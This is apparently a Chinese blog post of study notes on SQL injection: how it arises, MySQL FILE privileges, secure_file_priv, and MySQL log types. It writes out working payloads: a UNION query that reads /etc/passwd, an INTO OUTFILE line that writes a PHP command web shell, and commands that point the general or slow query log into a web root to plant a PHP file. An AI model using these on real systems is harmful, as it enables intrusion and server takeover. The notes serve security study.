sql注入攻击与防御第一章(笔记)

最新推荐文章于 2022-11-14 15:26:29 发布

笑花大王

最新推荐文章于 2022-11-14 15:26:29 发布

阅读量185

点赞数

文章标签：数据库编程语言 mysql java linux

本文链接：https://blog.csdn.net/weixin_43818995/article/details/114847489

版权

第一章什么是sql注入

概述

SQL注入:应该用程序在向后台数据库传递SQL(Structured Query Language,结构化查询语言)查询时，如果为攻击者提供了影响该查询的能力,就会引发SQL注入。

SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行

自SQL数据库首次链接web起 SQL注入就已经存在了，它首次引起公众注意是在1998年圣诞节。

web工作原理

web应用通常包含三层

表示层(web浏览器或呈现引擎)
逻辑层(php,java,c#,asp等编程语言)
存储层(mysql、oracle、sql server等数据库)

web表示层向逻辑层层发送请求，逻辑层通过查询，更新存储层来响应该请求

SQL注入的产生过程

1.转义字符处理不当

sql数据库将单引号字符 ' 解析成代码与数据间的分隔线。单引号外面是代码,里面是数据

$sql="SELECT * FROM table WHERE field='$_GET["input"]'";
www.baidu.com/news.php?id=1’

2.类型处理不当

$SQL="SELECT * FROM table WHERE field=$_GET["userid]";

mysql提供一个名为LOAD_FILE函数。调用该函数必须拥有FILE权限

1 union ALL SELECT LOAD_FILE('/etc/passwd') --

mysql还包含一个内置命令,可以用来创建系统文件并进行写操作。

1 UNION SELECT"<? system($_REQUEST['cmd']);?>" INTO OUTFILE "/var/www/html/victim.com/cmd.php"

要向执行LOAD_FILE和SELECT INTO OUTFILE命令必须拥有FILE权限

Load_file()

Into outfile

3.查询语句组装不当

4.错误处理不当

最常见的问题是将详细的内部消息(如数据库转储、错误代码等)显示给用户或攻击者

5.多个提交处理不当

6.不安全的数据库配置

SQLserver使用了声名狼藉的 sa 作为数据库系统管理账户
mysql使用root和anonymous用户账户
Orace在创建数据库时会默认创建 SYS,SYSTEM，DBSNMP和OUTLN账户
服务器默认支持(xp_cmdshell、OPENROWSET、LOAD_FILE、ActiveX以及JAVA支持)

知识延伸-FILE权限、突破secure_file_prive getshell、mysql日志

知识延伸-FILE权限

FILE权限指的是对服务器主机上文件的访问，数据库用户拥有FILE权限才可以执行select into outfile，load data infile操作。

secure_file_priv参数说明

secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。

mysql新特性secure_file_priv对文件读写的影响此开关默认为null，不允许导入导出

解决方案
```
window 修改my.ini 在[mysqld]内加入secure_file_priv=
Linux:修改my.cnf 在[mysqld]内加入secure_file_priv=
```
重启即可开启
```
show global variables like '%secure%’;  //查看secure-file-priv参数的值：
```
ure_file_priv的值为null ，表示限制mysqld 不允许导入|导出

当secure_file_priv的值为/tmp/ ，表示限制mysqld 的导入|导出只能发生在/tmp/目录下

当secure_file_priv的值没有具体值时，表示不对mysqld 的导入|导出做限制
利用日志来写shell(突破secure_file_priv是null的情况)

1.利用慢查询日志getsell

1.设置slow_query_log=1 启用慢查询日志
```
set global slow_query_log=1;
```
2.修改slow_query_log_file日志文件的绝对路径与文件名
```
set global slow_query_log_file='/www/admin/localhost_80/wwwroot/hua_shell.php'
```
3.通过延迟语句延迟执行才能写进日志就成功写shell了
```
select ‘<?php phpinfo();?>’ or sleep(11);
```
参考学习:https://www.cnblogs.com/c1e4r/articles/8902444.html

2.利用查询日志getshell

1.开启查询日志
```
set global general_log='ON'
```
2.设置操作记录日志路径
```
set global general_log_file='/www/admin/localhost_80/wwwroot/hua_shell.php'
```
3.执行sql查询日志产生日志即可getshell
```
select "<?php phpinfo();?>"
```
参考学习:https://www.jianshu.com/p/2da700db961e?from=groupmessage
linux查看mysql日志

进入mysql安装目录一般 /usr/local/mysql/data
```
show variables like 'general_log'; -- 查看日志是否开启
set global general_log=on; -- 开启日志功能
set global general_log=on; -- 开启日志功能
set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置
show variables like 'log_output'; -- 看看日志输出类型 table或file
set global log_output='table'; -- 设置输出类型为 table
set global log_output='file'; -- 设置输出类型为file
```
mysql日志包含:错误日志、查询日志、慢查询日志、事务日志、二进制日志

**错误日志:**文件通常的名称为hostname.err。其中，hostname表示服务器主机名。
```
| log_error                               | ./VM-16-2-centos.err                                 | 定义错误日志
```
更改日志位置

[mysqld] Log_error=DIR/[filename]

**查询日志:**询日志会记录用户的所有操作，其中还包含增删查改等信息，在并发操作大的环境下会产生大量的信息从而导致不必要的磁盘IO，会影响mysql的性能的
```
| general_log                             | OFF                                                  |  定义查询日志是否开启
| general_log_file                        | /www/mysql_data/mysql-5.5.62/data/VM-16-2-centos.log |  定义查询日志文件位置
```
**慢查询:**慢查询日志是用来记录执行时间超过指定时间的查询语句。通过慢查询日志，可以查找出哪些查询语句的执行效率很低，以便进行优化。
```
| slow_query_log                          | ON                                                   | 是否开启
| slow_query_log_file                     | mysql-slow.log                                       | 日志位置
```
启动和设置慢查日志:

1.通过配置文件my.cnf中的log-slow-queries选项可以开启慢查日志

[mysqld] slow_query_log=1

2.登陆mysql使用mysql命令执行。
```
set global slow_query_log=1;
```
**事务日志:**事务日志(InnoDB特有的日志)可以帮助提高事务的效率。使用事务日志，存储引擎在修改表的数据时只需要修改其内存拷贝，再把改修改行为记录到持久在硬盘上的事务日志中，而不用每次都将修改的数据本身持久到磁盘。

**二进制日志:**二进制日志也叫作变更日志，主要用于记录修改数据或有可能引起数据改变的mysql语句，并且记录了语句发生时间、执行时长、操作的数据等等。所以说通过二进制日志可以查询mysql数据库中进行了哪些变化。

参考学习:https://blog.51cto.com/pangge/1319304